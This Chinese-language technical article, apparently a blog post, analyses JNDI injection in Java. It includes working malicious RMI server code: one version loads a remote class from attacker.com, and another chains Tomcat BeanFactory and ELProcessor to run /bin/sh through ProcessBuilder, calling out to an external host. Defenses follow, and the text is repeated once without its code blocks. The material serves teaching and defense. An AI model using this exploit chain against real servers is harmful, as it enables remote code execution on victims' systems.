Exploiting JNDI Injections in Java
字数 1464 2025-08-27 12:33:54

JNDI注入漏洞深入分析与利用

1. JNDI基础概念

Java Naming and Directory Interface (JNDI)是Java提供的一种API,用于通过名称来发现和查找数据和对象。这些对象可以存储在不同的命名或目录服务中,包括:

  • RMI (远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

JNDI的核心API非常简单,如InitialContext.lookup(String name),它接受一个字符串参数来查找对象。

2. JNDI注入漏洞原理

当应用程序使用用户可控的输入作为lookup()方法的参数时,攻击者可以控制JNDI查找的目标,从而可能引发远程代码执行。

漏洞利用的关键点:

  1. 攻击者控制lookup()方法的name参数
  2. JNDI客户端会解析返回的Reference对象
  3. 如果返回的是javax.naming.Reference实例,客户端会尝试加载指定的classFactory

3. JDK 1.8.0_191之前的利用方式

在Java 8u121及更早版本中,攻击者可以完全控制远程类加载:

  1. 搭建恶意RMI或LDAP服务器
  2. 服务器返回包含恶意Reference的响应
  3. Reference指定classFactory和classFactoryLocation
  4. 受害应用从攻击者控制的URL加载并执行恶意代码

示例恶意RMI服务器代码:

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1097);
        Reference ref = new javax.naming.Reference("ExportObject", "ExportObject", "http://attacker.com/");
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

4. JDK 1.8.0_191+的利用方式

Oracle在Java 8u121(RMI)和8u191(LDAP)中增加了对远程类加载的限制,但仍有利用方法:

4.1 利用BeanFactory的反射机制

Apache Tomcat中的org.apache.naming.factory.BeanFactory类存在危险特性:

  1. 可以创建任意bean实例
  2. 可以为属性调用任意setter方法
  3. 通过forceString属性可以重写setter方法名

关键代码分析:

// 设置forceString属性可以指定方法名
if (ra != null) {
    value = (String) ra.getContent();
    for (String param : value.split(",")) {
        param = param.trim();
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" + param.substring(0, 1).toUpperCase() + param.substring(1);
        }
        forced.put(param, beanClass.getMethod(setterName, paramTypes));
    }
}

4.2 结合ELProcessor实现RCE

利用javax.el.ELProcessor类的eval()方法可以执行EL表达式,实现命令执行:

public class ELProcessor {
    public Object eval(String expression) {
        return getValue(expression, Object.class);
    }
}

恶意EL表达式示例:

"".getClass().forName("javax.script.ScriptEngineManager")
  .newInstance().getEngineByName("JavaScript")
  .eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()")

4.3 完整利用示例

恶意RMI服务器代码:

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1097);
        
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, 
            "org.apache.naming.factory.BeanFactory", null);
        
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", 
            "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
            ".newInstance().getEngineByName(\"JavaScript\")" +
            ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" +
            "(['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
            
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

5. 利用条件与限制

  1. 目标应用必须包含org.apache.naming.factory.BeanFactory类(来自Tomcat)
  2. 目标应用必须包含EL处理器相关类
  3. 需要能够控制InitialContext.lookup()的参数
  4. 高版本JDK(8u191+)仍有风险,但利用方式更复杂

6. 防御措施

  1. 输入验证:严格验证传递给lookup()方法的参数
  2. 升级JDK:使用最新版本的JDK,至少8u191以上
  3. 安全配置
    • 设置com.sun.jndi.rmi.object.trustURLCodebase=false
    • 设置com.sun.jndi.ldap.object.trustURLCodebase=false
  4. 代码审计:检查所有使用JNDI查找的代码,确保参数可控
  5. 沙箱限制:在安全沙箱中运行可能处理不可信输入的Java应用

7. 总结

JNDI注入漏洞是一种严重的Java安全风险,即使在打了补丁的高版本JDK中,通过巧妙的利用方式仍可能实现远程代码执行。防御这类攻击需要综合应用输入验证、安全配置和代码审计等多种措施。

JNDI注入漏洞深入分析与利用 1. JNDI基础概念 Java Naming and Directory Interface (JNDI)是Java提供的一种API,用于通过名称来发现和查找数据和对象。这些对象可以存储在不同的命名或目录服务中,包括: RMI (远程方法调用) LDAP (轻量级目录访问协议) CORBA (公共对象请求代理体系结构) DNS (域名服务) JNDI的核心API非常简单,如 InitialContext.lookup(String name) ,它接受一个字符串参数来查找对象。 2. JNDI注入漏洞原理 当应用程序使用用户可控的输入作为 lookup() 方法的参数时,攻击者可以控制JNDI查找的目标,从而可能引发远程代码执行。 漏洞利用的关键点: 攻击者控制 lookup() 方法的name参数 JNDI客户端会解析返回的Reference对象 如果返回的是 javax.naming.Reference 实例,客户端会尝试加载指定的classFactory 3. JDK 1.8.0_ 191之前的利用方式 在Java 8u121及更早版本中,攻击者可以完全控制远程类加载: 搭建恶意RMI或LDAP服务器 服务器返回包含恶意Reference的响应 Reference指定classFactory和classFactoryLocation 受害应用从攻击者控制的URL加载并执行恶意代码 示例恶意RMI服务器代码: 4. JDK 1.8.0_ 191+的利用方式 Oracle在Java 8u121(RMI)和8u191(LDAP)中增加了对远程类加载的限制,但仍有利用方法: 4.1 利用BeanFactory的反射机制 Apache Tomcat中的 org.apache.naming.factory.BeanFactory 类存在危险特性: 可以创建任意bean实例 可以为属性调用任意setter方法 通过 forceString 属性可以重写setter方法名 关键代码分析: 4.2 结合ELProcessor实现RCE 利用 javax.el.ELProcessor 类的 eval() 方法可以执行EL表达式,实现命令执行: 恶意EL表达式示例: 4.3 完整利用示例 恶意RMI服务器代码: 5. 利用条件与限制 目标应用必须包含 org.apache.naming.factory.BeanFactory 类(来自Tomcat) 目标应用必须包含EL处理器相关类 需要能够控制 InitialContext.lookup() 的参数 高版本JDK(8u191+)仍有风险,但利用方式更复杂 6. 防御措施 输入验证 :严格验证传递给 lookup() 方法的参数 升级JDK :使用最新版本的JDK,至少8u191以上 安全配置 : 设置 com.sun.jndi.rmi.object.trustURLCodebase=false 设置 com.sun.jndi.ldap.object.trustURLCodebase=false 代码审计 :检查所有使用JNDI查找的代码,确保参数可控 沙箱限制 :在安全沙箱中运行可能处理不可信输入的Java应用 7. 总结 JNDI注入漏洞是一种严重的Java安全风险,即使在打了补丁的高版本JDK中,通过巧妙的利用方式仍可能实现远程代码执行。防御这类攻击需要综合应用输入验证、安全配置和代码审计等多种措施。